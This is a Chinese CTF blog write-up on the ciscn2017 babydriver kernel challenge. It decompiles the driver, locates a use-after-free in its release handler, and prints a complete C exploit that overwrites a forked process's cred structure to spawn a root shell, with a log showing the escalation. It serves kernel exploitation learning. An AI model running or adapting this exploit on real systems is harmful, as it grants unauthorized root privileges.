Zj_W1nd's BLOG

Kernel Pwn从入门到入土-2

2024/10/11

题目分析

init和exit没有什么特殊内容,就是正常的注册和析构。注册了一个名叫babydev的字符设备。

这道题在bss有一个全局变量,包含了一个buf指针和一个长度字段。下面看看这个驱动在干嘛:

init.sh-qemu参数:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
qemu-system-x86_64 -initrd rootfs.cpio
-kernel bzImage
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1'
-enable-kvm
-monitor /dev/null
-m 64M
--nographic
-smp cores=1,threads=1
-cpu kvm64,+smep # 开启了smep

open

1
2
3
4
5
6
7
8
9
10
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);//
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 0x24000C0LL, v2);
return 0;
}

fentry不用管,是编译的时候gcc在函数入口插入的东西。

open这个驱动会将buf初始化, 调用kmem_cache_alloc_trace分配一个0x40的object。这个函数也是抽象好几层后的了,我们后面再谈linux内核的内存分配。

1
2
3
4
5
6
static __always_inline __alloc_size(3) void *kmem_cache_alloc_trace(struct kmem_cache *s, gfp_t flags, size_t size)
{
void *ret = kmem_cache_alloc(s, flags);
ret = kasan_kmalloc(s, ret, size, flags);
return ret;
}

read和write

没什么差别,直接复制数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer, length);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
return v6;
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer, length);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
return v6;
}
return result;
}

ioctl

ioctl提供了一个调用kmalloc重新分配buf的接口,这里的v4是我们用户态可以控制的参数,也就是说可以重新分配size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx

_fentry__(filp, command, arg);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL, v5);
return 0LL;
}
else
{
printk(&unk_2EB, v3, v3);
return -22LL;
}
}

release

对于正常的驱动,release函数会在文件关闭的时候触发。但是这个函数没有在data段开头的file_operations里注册,反而在__mount_loc节中查到了引用,不知道怎么触发的。

1
2
3
4
5
6
7
8
9
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}

release有一个UAF,kfree但全局变量指针不置空。

总体来看涉及kmalloc和kfree, 可能与内核的堆利用有关。所以下面先介绍一下内核的内存管理机制。

篇幅考虑,相关内容单开了一篇blog,点此跳转

UAF

参考自 在2021年再看ciscn2017 babydriver

1. 简单粗暴——4.4.72版本uaf必定导致提权

如果了解了slab我们就能知道,在kfree后这个object会被放回其原本的list中(比如kmem_cpu_cache的slab列表),并且freelist的第一个也会指向它。也就是说我们能够保证,只要free进去后没有别的操作连续申请相同大小的对象,下一次一定会返回这一个。

知道了这个我们就有很多的利用方法了。一种比较简单的方法就是把它改成cred的大小然后用户态fork起shell,通过UAF直接改掉euid。这个漏洞在kernel 4.4.72是可用的,显然是因为内核并没有相关的检查——至少这道题的内核没有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/ $ whoami
ctf
/ $ ./ez_uaf
[*] Start to exploit...
[ 11.928864] device open
[ 11.929808] device open
[ 11.931073] alloc done
[ 11.932012] device release
[+] Successful to get the root. Execve root shell now...
/ # ls
bin dev ez_uaf.c lib root sys
boot.sh etc home linuxrc rootfs.cpio tmp
bzImage ez_uaf init proc sbin usr
/ # whoami
root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0xa8); // cred大小
close(fd1);
int pid = fork();
if(pid < 0)
{
printf("\033[31m\033[1m[x] Unable to fork the new thread, exploit failed.\033[0m\n");
return -1;
}
else if(pid == 0) // the child thread
{
char buf[30] = {0};
write(fd2, buf, 28); // UAF
if(getuid() == 0)
{
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
return 0;
}
else
{
printf("\033[31m\033[1m[x] Unable to get the root, exploit failed.\033[0m\n");
return -1;
}
}
else // the parent thread
{
wait(NULL);//waiting for the child
}

return 0;
}

2. 更复杂的利用——4.5+版本

在这个版本,为cred分配的slab 对象池cred_jar在初始化的时候添加了一个flag位SLAB_ACCOUNT,这导致这样的问题,内核驱动中手动调用的kmalloc虽然大小一样,但是和cred_jar不再共享一个对象池。

这个时候要引出通用的一个解决方案:劫持tty_struct.

CATALOG
  1. 1. 题目分析
    1. 1.1. init.sh-qemu参数:
    2. 1.2. open
    3. 1.3. read和write
    4. 1.4. ioctl
    5. 1.5. release
  2. 2. UAF
    1. 2.1. 1. 简单粗暴——4.4.72版本uaf必定导致提权
    2. 2.2. 2. 更复杂的利用——4.5+版本